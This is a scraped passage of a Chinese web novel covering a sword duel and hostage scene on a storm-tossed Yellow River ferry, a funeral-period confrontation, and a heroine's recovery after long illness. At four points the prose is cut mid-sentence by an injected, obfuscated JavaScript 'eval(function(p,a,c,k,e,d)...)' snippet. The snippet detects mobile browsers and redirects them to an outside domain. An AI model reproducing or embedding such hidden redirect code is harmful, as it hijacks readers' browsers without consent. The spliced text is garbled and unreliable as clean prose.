厅内瞬间静谧无声,在场众人皆愣住,目光齐刷刷地投向温念。 另一旁的温如初,面色陡然凝重了几分。 这与当初所说的截然不同。 「记忆回溯至两年前,暮春时节,大慈恩寺钟声悠然回荡,余韵穿透苍穹,与黄昏的云霞交相辉映。寺外香客如织,香火缭绕间,梵音阵阵。 慧明法王——那位自吐蕃远道而来的番僧,身披暗红袈裟,手持转经筒,立于神台之前。他双目微阖,口中吟诵着深奥的经文,声音低沉悠长,宛如天籁。众僧跪坐两旁,目光中透着敬畏,唯恐打扰了这神圣的一刻。 温如初身着官服,立于慧明法王之后,低眉敛目,额间渗出一层细汗。他双手合十,目光虔诚地望着神台上燃起的青烟,烟气袅袅升腾,如同一条通往天界的桥梁。他深吸了一口气,随即将目光投向神台之上,心中满怀期待。 法王转动转经筒,声音渐渐高亢,随之而来的,是神台上香火的突然暴涨。一缕金光从供奉的佛像后闪现,刺破烟雾,似从天际垂落而下,直直洒在神台中央。 光影中,一个模糊的人影渐渐清晰起来。 那人一身素衣,步履如云,面容与温如初别无二致。眉眼间的冷峻与风骨,仿佛从一幅山水画中走出,带着一种不染尘埃的出尘气质。他的出现令众人屏息凝神,大殿内连香火的跳动声都似乎消失了。 慧明法王躬身施礼,声音洪亮而庄重:“天上文曲星堕凡,今日降世,以助贵人登峰造极。” 温如初心神震动,忍不住上前一步,目光紧紧盯着那位“堕仙”。“堕仙”微微一笑,语气平静中透着无尽威严:“我乃天命所归,与你同气连枝。今日相助,是为应劫,也是应缘。” 他缓缓抬手,掌心金光萦绕,仿佛握住了天道的某种真理。那光辉映在温如初的脸上,令他不由自主地跪倒在地,磕首如捣,口中连连称谢:“谢堕仙大人!谢天赐良机!” 殿外钟声再度响起,似在宣告一场命运的交接。此后,温如初的仕途扶摇直上,每每遇难,便有“堕仙”相助。」 然而,那位“堕仙”从未说过自己是温念。 “双簧局”的计谋,已在温如初被秦欢击中右臂后,不攻自破。此刻若再跳出来假扮自己,岂不是自取其辱,成了世人笑柄? 先生此计,未免多此一举。 温如初没有吭声,他的目光微微闪动,似在思索。 时枫冷笑一声,手指径直指向温如初,“你说你是温念,那他又是谁?” 犹如一石激起千层浪,众人皆将目光投向温念,期待他的回答。 温念的脸上却依旧波澜不惊,没有一丝破绽,“他自然是温如初,这还有什么可怀疑的呢?” 他的平静透着一种令人心悸的淡然,仿佛世间一切皆在他掌控之中。 “这一切难道不很简单吗?我是上一世的温念。死后因缘得道,得以成仙。今日下凡,是受天命所托,普度众生。” 他声音微微拔高,目光扫过在场每一个人,仿佛带着某种不可抗拒的威严。 “尔等既见堕仙,为何还不跪拜行礼?” 屋内的光线微微晃动,天地因他这一句话而震动。 时枫眼中寒意如刀,满是戒备与不屑。 倘若对方老老实实承认自己是上一世的温如初,肉身穿越到这一世,倒还算有几分可信。毕竟,他在梦中确曾见过那张脸,与眼前人一般无二。然而对方口口声声自称“堕仙”,还妄想以此自居、摆出一副天命加身的姿态,实在荒谬至极。 呸,时枫心中冷笑。他向来不信那些虚无缥缈之说,亲眼没见过的,统统当作胡吹乱侃。 男人的目光略微偏移,落在一旁的苏绾身上。她双眼空洞,满脸泪痕,神情疯癫,嘴里呢喃着什么,仿佛被抽去了灵魂,只剩下破碎的躯壳。 时枫的后槽牙狠狠一咬,她的状态已经不堪继续拖延,他必须速战速决,打垮眼前这个自以为是的骗子,然后立刻带苏绾离开是非之地。 去他妈的报复,去他妈的计划。谁敢动他的阿绾,他便让谁死无葬身之地。 思及此,时枫嘴角勾起一抹冷笑,“天命之人?可笑之极。” “我跪你个奶奶!”他一声冷喝:“敢在本将军面前装神弄鬼,活得不耐烦了。本将军打得你屁滚尿流,看你还敢跟老子胡扯八道!” 他的声音如滚雷般炸响,直接将温念怔住。这位向来鲁直冲动的大将军,前世明明服服帖帖地听他的话,连问都不问便替他斩了阁老,怎么这一世突然脑子开窍了?竟敢出言不逊顶撞他,还对他的神仙之名嗤之以鼻! 温念定了定神,咬牙切齿道:“看来,天命还需以武服人。既如此,我便让你见识一下,何为堕仙的威严!” 温念身着月白锦袍,衣襟绣着卍字暗纹,在黄河水的湿气里微微泛着光。他手中的长剑轻轻一抖,寒光在空气中一闪而逝。对面的时枫则一袭玄色衣袍,目光炯炯,紧盯着温念,嘴角勾起一抹冷笑。握在他手中的鱼鳞剑,隐隐反射出一道冷冽的光。 温念率先出手,剑锋划破空气,直取时枫咽喉。时枫脚步微移,长剑迎上,金铁交鸣,震得空气都颤了一下。时枫剑势凌厉,出手如风,尽显军中大将的沉稳与狠辣。直刺、横扫,劈山断水,逼得温念步步后退。然而,温念的剑术更为诡谲,每一剑都如水蛇般柔韧,难以捉摸。 两人身影交错,剑光如雪,寒气逼人。 “时枫,”温念低声冷笑,“你的剑法虽快,可惜,心乱了。” “少废话!”时枫厉声回击,剑势更快了一分。 几番回合,两人势均力敌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806889|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁也奈何不了谁。然而,温念脚步微转,蓦然一个错身,长剑绕过时枫,以一个极为刁钻的角度直刺对方的手腕! “噗!”剑尖入肉,鲜血瞬间溅出。 时枫闷哼一声,鱼鳞剑脱手而落,发出清脆的“铛啷”声。他捂住手腕,目光不可置信地盯住温念。 他与温念自小一同摸爬滚打,木刀木剑间的对峙成了童年最寻常的记忆。无论斗得如何酣畅,最终倒下的总是温念。那时的温念瘦弱单薄,性子倔强,任凭被打得满头大汗,也从不肯服软。 后来,温念长了几岁,被送往大慈恩寺带发修行。时枫偶尔去探望,看见他舞剑于月下,招式已隐有几分剑术真髓。偶尔时枫懒散,兴致不高,便被温念抓住破绽,冷不防地以剑指喉。 可他从未放在心上——温念或许有天分,但与自己相比,终究还是差了些火候。 然而今日,他不得不承认,自己错得离谱。 眼前的温念,招式诡谲多变,剑势凌厉如毒蛇吐信,每一剑都暗藏杀机。他的内力深厚浑然,竟隐隐压制了自己。时枫估计,两人之间隔着将近十年的功力鸿沟。 时枫气喘吁吁,鲜血从手腕滴落,滴答落在木地板上,溅出暗红的痕迹。他强忍疼痛抬头,再次看向温念的脸。 那张脸依旧熟悉,轮廓分明,然而岁月的刻刀却悄然在眉眼间留下了痕迹——眼角的细纹,唇边的冷意,仿佛他已在这凡尘间多行走了十数载,经历过风霜刀剑的洗礼,带着与往昔截然不同的老练与沉稳。 时枫顿悟,他不是输在剑法,也不是输在内力,而是输给了岁月。 显然,对方比他多活了七八年。 温念缓缓收剑,衣袍翻飞,血光未干的剑锋在阳光下映出寒芒。 “你输了。”他低声开口,语调轻描淡写。 时枫轻轻地撕下袖口的布条,动作不急不缓。他将布条用牙齿轻轻咬住,熟练地撕开,缠绕在手腕上,带着一丝寒气,快速而精准地打了个结,血迹被完美遮掩。 他轻抬受伤的手腕,活动了几下,伤口并没有让他感到一丝不适。 “不过是一点小伤,”他低声自语,嘴角微微上扬,“还不至于影响我——” “杀你。” 凤眸一凛,杀意漫天。 正当两人剑锋相对,杀意如潮,忽然一阵狂风骤起,黄河上空瞬间乌云翻滚,天光黯淡如墨。天地间似乎被某种无形的力量搅动,远处隐隐传来雷声,滚滚如鼓,令人心生惶恐。 船头方向,一股异样的水流猛然出现,旋即形成一个巨大的漩涡,水声咆哮如猛兽嘶吼,将两侧的摆子船瞬间卷入疯狂的水流中。漩涡中心深不可测,似要吞噬一切,巨浪翻腾,激起数丈高的水柱。 “稳住船舵!稳住!”船老大大吼一声,额头青筋暴起。 渡船在波涛中剧烈摇晃,甲板上顿时乱成一团。大雨随风骤降,豆大的雨点砸在木板上,噼啪作响,溅起无数水花。船上的人如断线风筝般东倒西歪,扶栏的手被雨水冲得滑腻,抓不住任何支撑物。 “啊——!”一声凄厉的惨叫响起,一名暗卫被船身剧烈的晃动甩了出去,身影瞬间没入漩涡的边缘,连挣扎都未能发出第二声。其他暗卫眼睁睁地看着,却无力相救,只能死命抱紧眼前能抓住的一切,或是趴在甲板上,瑟瑟发抖。 水流的力量愈发狂暴,船体被卷入漩涡边缘,发出咯吱作响的悲鸣,仿佛下一刻就会被彻底撕裂。风声、浪声、惊叫声混成一片,船上的人无不面色惨白,眼中写满了绝望与恐惧。 90. 收网 山羊胡向右方拼命打舵,渡船在漩涡的边缘剧烈摇晃,船体一侧倾斜得几乎触水,甲板上的积水混合着泥沙,随着每一次颠簸滚落到四处。空气中弥漫着湿冷的腥味,暗卫的惊呼声,和船老大的怒吼声杂糅成一片,仿佛末世将至。 “看来老天,也不是很想帮你。” 时枫紧握鱼鳞剑,身形随船身的晃动微微调整,脚下站得极稳。他的衣衫已被浪花打湿,玄色袍角贴在小腿上,从内而外透着凌厉的威压。 温念的月白锦袍染了泥泞,俊秀的面庞挂着几星水花浪沫,狼藉之下却仍保持优雅从容。 他抬眼望了望船外的天空,心中暗自慨叹:今日果然黄历犯冲,诸事不宜。 原本打算跟温如初联手,双剑合璧,一击拿下时枫。哪知半路杀出个程咬金,被秦欢和萧染两个小杂种坏了大业。 如今温如初已经不顶用了,他手里暂无别的棋子好用,也只好被迫当个孤胆英雄。 此时远舟已经把疯癫的苏绾,和受伤的温如初拉到一处,方便他同时照顾二人——苏绾到底是温府准少夫人,远舟不敢有所怠慢。 温念瞥了一眼缩在角落里的一对苦命鸳鸯,心里盘算着要如何利用他们给予时枫致命一击。 反正他们的生命,对他温念来说,都不值一谈。 温念向温如初使了一个眼色,温如初微微一怔,顿时心领神会——先生要他拿苏绾做饵,诱捕时枫上当。 可他却犹豫了。 苏绾,是他温如初的未婚妻。他虽痛恨苏绾背叛自己,但他并不想置她于死地。 那边时枫却等不及了,主动出击,剑锋如风雷般卷向温念。他的剑法大开大合,迅猛凌厉,招式中透着一股铁血杀伐的霸气。 温念不急不缓,脚下如同踩着风,身形灵动得让人难以捉摸,剑招诡异而狠辣,处处直逼要害。 二人剑尖相向,斗了七八回合,彼此难以分出胜负。 时枫吸取了前方败绩的教训,再不肯露出破绽给温念,叫对方有机可乘。 可人算不如天算。 渡船猛然一倾,船头重重拍打水浪,船体几乎要被掀翻。时枫脚下一滑,身形一顿,温念抓住这一瞬间,剑锋直刺他的左肩。 时枫强行后撤避开,但船体再一次剧烈摇晃,甲板上的货物滚落四散。 其中一只漆木箱子不知怎地,竟一路骨碌碌滚进主厅,不偏不倚砸向苏绾所在的墙角。 苏绾的身影突然跌出,直直撞入两人交锋的范围。 “苏绾!”时枫眼角一跳,下意识收剑,急速转身试图护住她。 温念的眼中闪过一抹狡黠,他身形如电掠过,猛地将苏绾拽到身前,用力一推,将她挡在自己与时枫之间。 苏绾惊呼一声,瘦弱的身子忽的一栽歪,整个人踉跄不稳,险些跌倒。 “他娘的!”时枫的声音中透出一股压抑的怒火。他的剑尖停在半空,不敢再前进一步,目光死死盯着苏绾苍白的脸。 “怎么?你不是自诩所向披靡的大将军吗?现在为何不敢动手杀我了?”温念低声阴冷笑着。 他一手揽住苏绾的肩膀,另一手握剑,剑锋停在苏绾的喉间。 时枫握剑的手指微微发抖,怒火在胸腔中翻腾。他知道,只要自己稍有动作,温念便会毫不犹豫地取走苏绾的性命。 “卑鄙无耻!”时枫咬牙切齿。 看着时枫被逼得进退维谷的模样,温念的笑意更深,“你的剑术不错,但可惜,你有弱点。而我,从不心软。” 船身又一次猛然晃动,时枫趁势试图上前,却被温念一个转身避开,同时将苏绾再一次推向时枫,自己迅速欺身而上,剑锋带着寒光直刺时枫的胸口。 时枫左手挽住苏绾,右手的鱼鳞剑却已来不及抵挡,温念的剑锋已然抵上他的胸膛,瞬间刺入半分。 “你输了。”温念低声开口。 他微微侧头,目光掠过落入男人怀里的苏绾,眉间一动,似乎犹豫了一瞬,最终却只是冷笑一声,轻声说道,“果然,我才是最强的。” 温念收剑,动作优雅而缓慢,仿佛胜利是理所当然。 时枫单膝跪在甲板上,喘着粗气,鲜血顺着衣襟滴落在满是水渍的木板上,顷刻即被浪花冲刷干净。 “啊——” 苏绾的尖叫声划破风浪。 眼前震撼的景象将苏绾从癫狂中拉回了现实,颤抖的小手小心翼翼地探向他的肩膀,指尖碰触到滚烫的血迹,眼泪顿时决堤。 她的声音颤抖,几近哽咽,带着不敢置信的痛楚,“你怎么会伤成这样?” 时枫垂下眸子看她,目光柔和,唇角微微勾起。他笑得有些虚弱,却依然带着几分不羁的洒脱:“别担心,我还好。没事,伤得还没你咬得重呢。” 苏绾抬头看他,泪眼模糊间愣了一瞬,随即忍不住捶了他一下,声音带着哭腔:“你还开玩笑!你这个混账!傻瓜!” “我可不傻。”时枫低低笑了一声,抬手擦掉她脸上的泪水,声音放得很轻,“不施点苦肉计,又怎么会唤回你呢?” 这句话仿佛击中了苏绾的心,她泪如雨下,眼神复杂地望着他,似是恨,又似是怜,最后化作哽咽:“你……化成灰我都认得你。” 她颤抖着按住他的伤口,手却在不停地抖,想替他止血,却不知该如何下手。那双手沾满了鲜血,红得刺目,她几次想张嘴说什么,喉咙却像被堵住,只能呜咽着,泪水一滴滴砸在他的衣襟上。 时枫低头看着她,目光如深潭般温柔,似在安抚:“哭什么,我还没死呢。你再哭下去,别人还以为我被你打死了。” “你——”苏绾气得又想捶他,手却停在半空,抖了两下,终是放下了。她哽咽着低下头,“混账……你就是个混账……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811823|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>二人紧贴着低语,仿佛将整个混乱的世界隔绝在外。那片刻的柔情蜜意,只属于他们两人。 然而,这一幕落在温念眼中,却刺得他脸色一沉。他立在不远处,月白锦袍沾染些许血迹,手中剑未收,冰冷的目光如刀锋般划过他们,唇角勾起一丝意味不明的冷笑。 “够了。”他的声音冷冷落下,带着居高临下的压迫感,“闹剧而已,演够了没有?” 苏绾像是没听见,只是更紧地抱住时枫,低声呢喃着,像是在倾诉,又像是在自责。时枫抬起手,轻轻覆在她的发顶,目光柔和得像在看珍宝。 温如初神色复杂,目光阴沉,却始终未发一言。他低头扫了眼温念的剑,眼底似有暗潮涌动。 赢了世界,输了她,又何妨? 风浪愈演愈烈,甲板上水流横冲直撞,仿佛无数道鞭影抽打,震得船身嘎吱作响。黄河之水翻涌如怒龙,吞没了甲板上所有的暗卫们,或被浪卷入河心,或失足跌落水中,瞬间消失不见。 而船员们却仿佛有神明庇佑,或是多年与黄河相伴锻炼出的敏锐直觉,在这险恶的环境中竟都安然无恙。 “稳住!”船老大亲自站在舵台前,满脸风浪扑打的水珠,胡须也湿漉漉地贴在下巴上。他双手死死抓住舵柄,目光如鹰隼般锐利,咬着牙低声道:“再坚持一会儿,前方就能靠岸!” 一个巨浪打来,整艘船狠狠一震,仿佛天地都颠倒了过来。几个船员差点被甩出去,船老大猛地转头,低吼一声:“稳住脚,命在自己手里!” 有船老大坐镇掌舵,山羊胡手脚麻利地爬上桅杆,扯下风帆的一角,将松散的帆布固定好。他动作干净利落,嘴里还不忘喊道:“老哥!风压大,帆得收一半,不然压舵!” 船老大点头,声音沉稳如钟:“收帆!稳住船头,别让浪打偏了!”随即,他抬头看向远处的山影,冷静地指挥:“过来帮忙打舵!” 山羊胡用袖子抹了一把脸上的水,回头大声答道:“遵命,老哥!” 他动作迅速地跳下桅杆,冲向舵台,和船老大合力推动巨大的舵轮。两人咬紧牙关,汗水混着雨水滴落,肌肉绷紧如弓弦,奋力将船头调整方向。整个船身猛然一摆,直直朝着岸边的方向冲去。 “岸边的水流更急,小心!”一个船员大声提醒。 “都抓紧了!”船老大吼道,声音压过风浪,“别被甩下去!谁掉下去就没命了!” 渡船摇晃得愈发剧烈,甲板上的船员们眼神坚定,嘴里喊着整齐的号子,动作配合得天衣无缝。船头已经隐隐看到了岸边的垂柳,那片青翠在风雨中显得模糊而又坚韧,承载着全船的希望。 “靠过去了!再顶一把力!”山羊胡扯着嗓子喊,嗓音已经被风浪压得嘶哑。 船老大脸上的肌肉紧绷如铁,他狠狠一推舵柄,船身应声一震,笔直地冲向岸边! (未完待续) 91. 劫后 肃穆的丧钟声在宫墙间回荡,哀乐如潮,宛若在昭示天下,帝王之逝不可挽回。 白幡高悬,遍布整个皇城,宫人低头跪地,举目间皆是素白的天地。 然而在这沉重的气氛中,有一抹突兀的身影悄然隐入宫墙阴影里。 苏绾独自站在偏僻的回廊下,手中紧攥着一壶宫廷玉液酒,身上的素白衣衫被酒液浸湿了一大片,发丝凌乱散落,显得颓唐又放肆。 她仰头喝了一大口,辛辣的酒液从喉间滑下,却没有丝毫暖意。 她用力将酒壶砸向地面,碎片四溅,喉咙里溢出哑笑:“皇帝驾崩,这世上是不是又少了一个看戏的?” 说完,她扶着廊柱慢慢滑坐下来,长发遮住了半张脸,迷离的眼眸透着浓浓的嘲讽与倦怠。脑海中却不受控制地浮现出那张熟悉的脸。 “温夫人,这副草药须用泉水煎煮,效果才会更好。”传入耳际的是秦欢的清朗声音,温润如水。 彼时苏绾生了一场大病,秦欢在庭院里亲自为她熬药。熏人的药香弥漫在冬日的暖阳中,秦欢一边小心地调控火候,一边低声安慰:“等药煎好,喝了就会舒服些。” “这么苦的药,我才不喝。”苏绾倚在榻上,倔强地撇过头,像个撒娇的孩子。 秦欢无奈地笑了笑,舀起一勺药汁,小口轻轻吹凉:“苦是苦了些,但能治病。若夫人怕苦,我陪你喝。” “真的?”苏绾瞪大了眼睛,目光亮晶晶的。 秦欢点头,舀了一小勺送到唇边,药汁入口,温声说道:“不算太苦,你试试看。” 苏绾将信将疑,小口啜了半勺,砸吧砸吧小嘴,细细品味一番,“哕,泥巴汤。” 她亮出小拳头捶他胸膛,“大骗子。” 秦欢低低地笑着,身子抖个不停,“你怎么那么好骗?” 苏绾看着秦欢明亮的眼眸,心里酸涩又温暖。 如今,那个人却永远不在了。 苏沅芷逼着她喝下一碗红花汤,夺走了她腹中的小生命,也断绝了她生育的希望。 秦欢为了救她,独自一人深入原始森林,结果不幸坠崖而亡,粉身碎骨,连个尸首的影子都没找到。 “秦欢……”苏绾喃喃低语。 她抬手捂住脸,泪水从指缝间滑落,混入袖口,心头的悔恨像锥子一样刺痛着她,却无处发泄。 她不知道该去恨谁。 这时,身后传来尖细的声音:“温夫人,您这般模样举止,可不太合乎礼仪规矩。” 苏绾缓缓抬起头,来者是司礼监的掌印太监魏公公。他脸上挂着虚伪的笑意,眼神阴冷如蛇。 魏公公站在廊下,袖口收得整齐,显然已经观察了她许久。 苏绾嗤笑一声,“你看我独饮,也想来凑热闹?” 魏公公轻轻摇着手中的拂尘,揶揄道:“奴才哪敢凑这不要命的热闹?听闻夫人醉酒,特来提醒您,国丧期间该守规矩。” “规矩?”苏绾冷冷地看着他,唇角勾起一抹讥讽,“这宫里哪一条规矩,是给我定的?魏公公,别忘了,我可不是宫里的人。论规矩,我都不该出现在这里,那才是大罪。” 魏公公的笑意僵了僵,但很快恢复平静:“夫人身份虽非后宫正统,却也贵不可言。若被首辅大人知晓您这般,怕是要心寒。” “他会心寒?”苏绾的声音冷得像冰,“他应该替秦欢道歉。” 魏公公一怔,没料到她会提起秦欢,随即眼珠一转,皮笑肉不笑地说道:“秦御医忠心耿耿,为夫人殚精竭虑,确实是个好人。只可惜,命短。” 那两个字闪了苏绾的眼,令她突然站起身,步步逼近魏公公,寒光泼眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14817728|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“魏公公,你不必拐弯抹角,尽管把这些话捅到皇后和温如初那里去,看他们会不会治我的罪!” 魏公公被她突如其来的气势震住,连连后退,拂尘一摆,讪讪说道:“夫人息怒,奴才不敢。” 苏绾盯着他,片刻后冷笑一声,转身踉跄着离开。魏公公站在原地,目送她的背影,眼中闪过一抹阴鸷。 她走到偏僻的长廊尽头,脚步不稳,险些跌倒,却被一只有力的手扶住。 “苏绾。”低沉的声音响起。 苏绾抬头,男人一身玄甲,目光复杂地看着她:“你喝酒了?” 苏绾推开他的手,踉跄着后退两步,笑得冷漠:“你少管我!” 时枫皱眉,手里暗自攥了攥拳,“你知不知道司礼监和锦衣卫盯着你多久了?你这样做,无异于自毁前程,与人留下把柄。” 苏绾仰头大笑,眼中却有泪光闪烁,“早在我新婚之夜,我就已经是个死人了。” 时枫心中一痛,喃喃低语:“你答应过我,要好好活着的……” 想了一阵,又补充道:“秦欢的死,不是你的错。” 苏绾冷冷地看着他,眼神如冰,“他是为了我才坠崖的,你告诉我,不是我的错?” 时枫张了张嘴,却发现无言以对。他只能看着她,眼底满是心疼。 “时将军,你我本为歧路人,何必非要管我这闲事?”苏绾笑得凄凉,“我不需要救赎,谁也救赎不了我。” 说完,她转身朝夜色深处走去,步伐踉跄却透着决绝。 时枫站在原地,拳头紧握,眼中满是复杂的情绪,酸楚滋味难以言喻。 夜风中,魏公公悄然站在远处的暗影里,冷笑着注视着这一切。他心中暗自得意:“再过几日,她这颗棋子,便能派上大用场了。” (未完待续) 92. 提议 “秦欢!” 苏绾一声尖叫,猝然从梦中惊醒,整个人如同弹簧般坐起身。 窗外,月色如霜,洒在冰冷的地板上。房内的烛火燃得幽微,摇曳着将她的影子拉得狰狞而模糊。她呼吸急促,胸口剧烈起伏,像是刚从深渊中爬出来的魂,眼中仍残留着未散的惊恐与哀伤。 她梦见了上一世的过往,那些如刀般刻在心上的旧事再次鲜活地涌上记忆。梦中,皇帝驾崩,举国缟素,哀乐四起。可她却蜷缩在冷宫的角落,一壶烈酒将自己灌醉,醉得不省人事。 迷迷糊糊间,秦欢的身影竟出现在眼前。 “你来了!”苏绾哽咽地唤着,脚步踉跄地向他扑了过去。 秦欢并不言语,只是低头看着她,温柔的目光泛着深深的哀痛。 他还是她记忆中的模样,眉眼温润如玉,只是不知何故身着一袭玄甲,透着一股生人勿近的冷意。 “身子怎的这样冷?”她咕哝着,眼泪不自觉地涌了出来,“地府当真苛待鬼魂?还要给你穿这般硌人的盔甲。” 秦欢将她拉入怀中,双臂紧紧环住她,仿佛怕她随时会从怀里溜走。他低下头,檀口轻轻贴上朱唇,带着久别重逢的贪恋与痛楚,似要将所有的思念倾注其中。 两人依偎时,苏绾忽然感到有什么东西落在脸上。她怔住了,仰头看着秦欢,手指轻轻擦过他的脸颊,替他拭去滚烫的泪。 “若有来世,定不负君。”她低声说道。 秦欢听闻此言,身子猛地一颤,似被雷霆击中。箍着素纨的大手微微发抖,却将她抱得更紧,几乎将她嵌入胸膛。 “苏绾,来世我会记得你,但你也要记得自己。” 忽然一阵阴风袭来,远处的长廊尽头,一黑一白两个小鬼飘然而至,不由分说抓住了秦欢的手臂。 “放开他!”苏绾拼命地拉扯,慌乱之中,不知是谁的头碰倒了长廊尽头的一盏油灯,油尽灯枯,黑暗笼罩了世界。 “时辰已到,魂魄归位!”阴森的声音如雷鸣般炸响。 下一瞬,地面裂开一道狭长的缝隙,深渊张开贪婪的大口,将秦欢连同黑白无常无情吞噬。 “不要!”苏绾撕心裂肺地喊着,手却抓了个空。 再次睁眼,苏绾缓缓回到了现实。 “你醒了?”耳畔传来熟悉的低唤,温润如春风。 苏绾抬眸望去,秦欢正立在榻前,一身青灰色的道袍,显得素净又儒雅。他的眉目如画,透着不染尘埃的温柔,与梦中那个满目阴鸷的魂魄截然不同。 苏绾的心微微一颤,恍惚间分不清眼前的秦欢,是梦境的延续,还是她苦苦追寻的现实。 “秦欢……”她试探着唤了一句。 秦欢俯身靠近,眉宇间流露出几分担忧,“是我,别怕。” 他伸出手,轻轻握住她冰凉的指尖,温热的触感让她找回了一丝真实感。然而那梦中纠缠不清的景象,像藤蔓般缠绕着她,挥之不去。 苏绾抓着头发,努力回想梦中发生的一切,却发现记忆如水中月影,愈想抓住,愈发模糊。前世今生,种种纠葛像是一张交织的网,裹挟着她,令她辨不清虚实。 宽厚的胸膛贴近,将她轻轻揽入怀中,手掌缓缓拍抚着她的背,好似安抚受惊的玉兔。 “你刚醒,先别想那么多,等身体恢复了再说。” 苏绾依偎在他的怀里,感受到温热的体温和熟悉的气息,心中的恐惧渐渐退去。她稍稍抬起头,问道:“我睡了多久?” 秦欢垂眸看她,轻声答道:“不久,也就两个多月。” 苏绾并非整整两个月都处在沉睡不醒的状态。事实上,她最初昏迷了七日,随后茫然醒来,却只苏醒了一具行尸走肉的躯壳。 她的灵魂仿佛被抽离,两眼空洞无神,任由无霜和春婵如何呼唤,也没有任何反应。她不吃不喝不言语,仅靠婢女一点点哺喂碎米粥,勉强维持生命体征。 这样的日子持续了数日,苏绾又一次昏厥过去,整整七日不省人事。再次醒来时,依旧重复着之前的状态,浑浑噩噩,眼神涣散,灵魂不知所处。 如此反复多次,直至金秋九月,刺骨的冷风从窗缝灌入,才将她彻底吹醒,她的眼中终于有了神采,久违的清明重新浮现。 无霜激动得热泪盈眶,扑到苏绾的床前,哽咽道:“小姐,霜儿以为再也见不到你了!” 过去无数个日夜,无霜寸步不离地守在榻边,流着眼泪呼唤着小姐,如今总算守得云开见月明。 无霜抹了抹眼泪,休整了一番情绪,将晴雷和文竹的事情告诉了苏绾,“小姐,文竹背叛了您。他和晴雷一起走了,再也没回来。” 这两个月来,无霜朝夕蹲守院门口,期盼着那两个人的身影早日归家。可她望穿秋水,也没能等来一个结果。 无霜觉得自己被世界抛弃了,没有人在乎她的感受。她终日以泪洗面,形容枯槁,宛如怨妇一般。 后来连春婵都看不下去了,急得跺脚道:“我去把那两个人绑回来,省得你天天哭!” 无霜摇了摇头。 找不回来的,他们的心已经不在这里了,她又有什么办法呢? 果然如文竹预料的那样,苏绾听闻此事后,并未丝毫责怪。相反,她的神色平静,甚至还带着几分释然。 “文竹能为自己活一次,我很高兴。希望他此行能有所收获,不辜负他的人生。” 无霜咬着嘴唇,一声不吭。 一旁春婵冷哼了一声,“文竹走了,晴雷也走了,院子里就剩我们三人相依为命。小姐,这天下还有谁值得您去相信?” 有谁值得信任? 苏绾垂下眼睑,手指轻轻拂过床边的被褥,往事一幕幕浮现脑海。 能相信的人,从一开始就只有自己。 在秦欢的悉心调养下,苏绾的身体逐渐康复,面色也红润了不少。她甚至恢复了几分往日的机敏与锋芒,偶尔还能同萧染斗上几句嘴。 萧染被她怼得气急败坏,一手叉腰,一手挠头,忍不住喊道:“早知道你嘴巴这么厉害,当初就不该让秦欢救醒你!继续当个睡美人多好,安静又省心!” 苏绾翻了个白眼,“我偏不如你的意!不做亏心事,不怕鬼敲门。你心里有鬼,当然怕别人揭穿。怎么,你这是变着法儿要害我?” 她嘴上犀利,心里积满了愤怒与恨意,却不知道自己该恨谁。满腔的愤懑与嗔恚,只管尽数倾泻到萧染身上,谁让曾对她出言不逊,几次三番威胁她性命。 萧染觉得十分冤枉,满脸无奈道:“从头到尾,我可是尽心尽力促成你们俩的好事。你怎么不想想,在山寨的时候,我还给你们主持了婚礼,让你俩入洞房!如今他落水溺亡了,跟我有什么关系?又不是我推的他!” 一语如晴天霹雳。 她的心中翻江倒海,面上却仍强自镇定,冷冷一笑:“你还有脸提从前的事?当初追杀我的人,不就是你吗?你就不是个好人!什么小侯爷,朝廷可曾真正让你认祖归宗?不过是当成手里的一把刀,哄着你替他们干那些伤天害理的龌龊事,然后拍拍手将你丢开,撇得干干净净。你真以为他们在乎你?不过是没人爱的一颗弃子罢了。” 字字诛心,直击萧染的痛处。他的脸色瞬间阴沉下来,细长的眼眸微微眯起,藏着一丝难以言明的情绪。他猛地上前一步,逼近苏绾,身影压下,气息几乎笼罩住她,带着些许凌厉与压迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855920|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “我的事,不用你管。”他低声道,语气中透着几分危险。 